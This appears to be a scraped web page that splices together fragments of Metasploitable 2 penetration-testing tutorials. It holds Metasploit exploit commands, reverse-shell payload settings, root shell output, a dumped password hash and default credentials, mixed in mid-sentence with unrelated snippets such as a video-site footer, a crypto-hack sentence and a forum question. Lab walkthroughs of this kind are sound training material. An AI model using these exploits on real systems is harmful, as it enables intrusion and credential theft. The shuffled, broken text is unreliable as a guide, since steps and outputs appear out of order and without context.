Metasploitable 2 Full Guided Step by step overview. Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. Open in app. ---- --------------- ---- -----------
[*] A is input
Server version: 5.0.51a-3ubuntu5 (Ubuntu). whoami
Lets go ahead. Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. Proxies no Use a proxy chain
rapid7/metasploitable3 Wiki. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack.
[*] Writing to socket A
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. Pentesting Vulnerabilities in Metasploitable (part 2), VM version = Metasploitable 2, Ubuntu 64-bit. Exploit target:
payload => cmd/unix/reverse
.
Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. Alternatively, you can also use VMWare Workstation or VMWare Server.
root, msf > use auxiliary/scanner/postgres/postgres_login
The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities.
Loading of any arbitrary file including operating system files.
List of known vulnerabilities and exploits .
USERNAME no The username to authenticate as
[+] UID: uid=0(root) gid=0(root)
Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys.
Need to report an Escalation or a Breach? IP address are assigned starting from "101".
Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. [*] Matching
A Computer Science portal for geeks. Metasploitable 2 Among security researchers, Metasploitable 2 is the most commonly exploited online application.
0 Automatic
[*] Started reverse double handler
msf auxiliary(tomcat_administration) > run
Its time to enumerate this database and get information as much as you can collect to plan a better strategy.
0 Automatic
Mitigation: Update . 0 Automatic Target
RHOSTS yes The target address range or CIDR identifier
[*] Started reverse handler on 192.168.127.159:8888
CVEdetails.com is a free CVE security vulnerability database/information source. Module options (exploit/multi/samba/usermap_script):
Then start your Metasploit 2 VM, it should boot now.
[*] Writing to socket B
By default, Metasploitable's network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network.
Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. Metasploit Pro offers automated exploits and manual exploits.
msf exploit(java_rmi_server) > set LHOST 192.168.127.159
From the results, we can see the open ports 139 and 445.
[*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300
By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. Module options (exploit/multi/samba/usermap_script):
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
URI => druby://192.168.127.154:8787
Tip How to use Metasploit commands and exploits for pen tests These step-by-step instructions demonstrate how to use the Metasploit Framework for enterprise vulnerability and penetration testing. Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. [*] Transmitting intermediate stager for over-sized stage(100 bytes)
RPORT 5432 yes The target port
I thought about closing ports but i read it isn't possible without killing processes.
Step 3: Always True Scenario.
This document outlines many of the security flaws in the Metasploitable 2 image. The advantage is that these commands are executed with the same privileges as the application. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Compatible Payloads
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor
It is also instrumental in Intrusion Detection System signature development.
Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. The vulnerability present in samba 3.x - 4.x has several vulnerabilities that can be exploited by using Metasploit module metasploit module: exploit/multi/samba/usermap_script set RHOST- your Remote machine IP then exploit finally you got a root access of remote machine. More investigation would be needed to resolve it. Once you open the Metasploit console, you will get to see the following screen. Module options (exploit/linux/postgres/postgres_payload):
msf exploit(twiki_history) > set payload cmd/unix/reverse
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
These backdoors can be used to gain access to the OS.
URI /twiki/bin yes TWiki bin directory path
Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa.
Perform a ping of IP address 127.0.0.1 three times.
It aids the penetration testers in choosing and configuring of exploits. msf exploit(distcc_exec) > show options
THREADS 1 yes The number of concurrent threads
Select Metasploitable VM as a target victim from this list. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154
[+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. The main purpose of this vulnerable application is network testing. Step 2: Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2.
Part 2 - Network Scanning. SMBDomain WORKGROUP no The Windows domain to use for authentication
This is about as easy as it gets. Time for some escalation of local privilege. The Nessus scan showed that the password password is used by the server.
[*] Accepted the first client connection
Below is a list of the tools and services that this course will teach you how to use.
Do you have any feedback on the above examples? RHOST yes The target address
In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab. msf exploit(vsftpd_234_backdoor) > show payloads
Name Current Setting Required Description
UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) SRVHOST 0.0.0.0 yes The local host to listen on. Backdoors - A few programs and services have been backdoored.
---- --------------- -------- -----------
We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. SMBPass no The Password for the specified username
msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159
. Enable hints in the application by click the "Toggle Hints" button on the menu bar: The Mutillidae application contains at least the following vulnerabilities on these respective pages: SQL Injection on blog entrySQL Injection on logged in user nameCross site scripting on blog entryCross site scripting on logged in user nameLog injection on logged in user nameCSRFJavaScript validation bypassXSS in the form title via logged in usernameThe show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode, System file compromiseLoad any page from any site, XSS via referer HTTP headerJS Injection via referer HTTP headerXSS via user-agent string HTTP header, Contains unencrytped database credentials.
Telnet is a program that is used to develop a connection between two machines.
TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright . We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:54381) at 2021-02-06 17:31:48 +0300
Id Name
Yet weve got the basics covered.
It requires VirtualBox and additional software. The ++ signifies that all computers should be treated as friendlies and be allowed to . This will be the address you'll use for testing purposes. Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. Id Name
All right, there are a lot of services just awaitingour consideration. It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later.
If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.
In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. Thus, we can infer that the port is TCP Wrapper protected. msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. -- ----
USERNAME => tomcat
RPORT 1099 yes The target port
[*] Matching
Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing.
msf exploit(usermap_script) > set RHOST 192.168.127.154
Using this environment we will demonstrate a selection of exploits using a variety of tools from within Kali Linux against Metasploitable V2.
The -Pn flag prevents host discovery pings and just assumes the host is up. msf auxiliary(smb_version) > set RHOSTS 192.168.127.154
[*] Started reverse double handler
Name Current Setting Required Description
msf exploit(java_rmi_server) > exploit
Metasploit is a free open-source tool for developing and executing exploit code.
To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. DB_ALL_PASS false no Add all passwords in the current database to the list
Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. msf exploit(usermap_script) > show options
[*] Attempting to autodetect netlink pid
THREADS 1 yes The number of concurrent threads
This is Bypassing Authentication via SQL Injection. In the online forums some people think this issue is due to a problem with Metasploit 6 whilst Metasploit 5 does not have this issue.
After the virtual machine boots, login to console with username msfadmin and password msfadmin. S /tmp/run
Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared.
You can connect to a remote MySQL database server using an account that is not password-protected. Back on the Login page try entering the following SQL Injection code with a trailing space into the Name field: The Login should now work successfully without having to input a password! msf exploit(vsftpd_234_backdoor) > exploit
To download Metasploitable 2, visitthe following link.
The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine.
Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons.
VERBOSE true yes Whether to print output for all attempts
Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL. [*] Matching
:14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. Payload options (cmd/unix/reverse):
RHOSTS yes The target address range or CIDR identifier
Leave blank for a random password. For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/.
Using Exploits.
-- ----
payload => linux/x86/meterpreter/reverse_tcp
Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters.
[*] Backgrounding session 1
Exploits include buffer overflow, code injection, and web application exploits.
What is Nessus?
NetlinkPID no Usually udevd pid-1. Start/Stop Stop: Open services.msc.
now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. LHOST => 192.168.127.159
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(distcc_exec) > exploit
DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023.
Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities. We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. [*] A is input
msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
You could log on without a password on this machine. payload => java/meterpreter/reverse_tcp
-- ----
RPORT 8180 yes The target port
Name Current Setting Required Description
Its GUI has three distinct areas: Targets, Console, and Modules. -- ----
An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence.
The primary administrative user msfadmin has a password matching the username.
This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. msf exploit(twiki_history) > exploit
Name Disclosure Date Rank Description
Restart the web server via the following command.
865.1 MB.
Starting Nmap 6.46 (, msf > search vsftpd
Exploiting All Remote Vulnerability In Metasploitable - 2. Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . [*] Accepted the first client connection
Cross site scripting via the HTTP_USER_AGENT HTTP header. Using default colormap which is TrueColor. For your test environment, you need a Metasploit instance that can access a vulnerable target.
[*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp
Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM. [*] Reading from sockets
Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured.
RHOSTS => 192.168.127.154
[*] Accepted the second client connection
Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root.
DB_ALL_USERS false no Add all users in the current database to the list
Next, place some payload into /tmp/run because the exploit will execute that. Metasploitable 2 is a deliberately vulnerable Linux installation. [+] Backdoor service has been spawned, handling
Meterpreter sessions will autodetect
In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. msf exploit(udev_netlink) > exploit
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. ---- --------------- -------- -----------
The nmap command uses a few flags to conduct the initial scan. Currently, there is metasploitable 2, hosting a huge variety of vulnerable services and applications based on Ubuntu 8.04, and there is a newer Metasploitable 3 that is Windows Server 2008, or . Ultimately they all fall flat in certain areas. SMBUser no The username to authenticate as
First, whats Metasploit? SSLCert no Path to a custom SSL certificate (default is randomly generated)
whoami
LHOST yes The listen address
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version
To begin using the Metasploit interface, open the Kali Linux terminal and type msfconsole. RHOST yes The target address
[*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq
Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target.
payload => cmd/unix/reverse
---- --------------- -------- -----------
[*] Writing to socket A
msf exploit(usermap_script) > set payload cmd/unix/reverse
Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". ---- --------------- -------- -----------
Name Disclosure Date Rank Description
msf exploit(drb_remote_codeexec) > show options
You can do so by following the path: Applications Exploitation Tools Metasploit. msf auxiliary(smb_version) > show options
What Is Metasploit?
[*] Command: echo ZeiYbclsufvu4LGM;
Additionally, an ill-advised PHP information disclosure page can be found at http://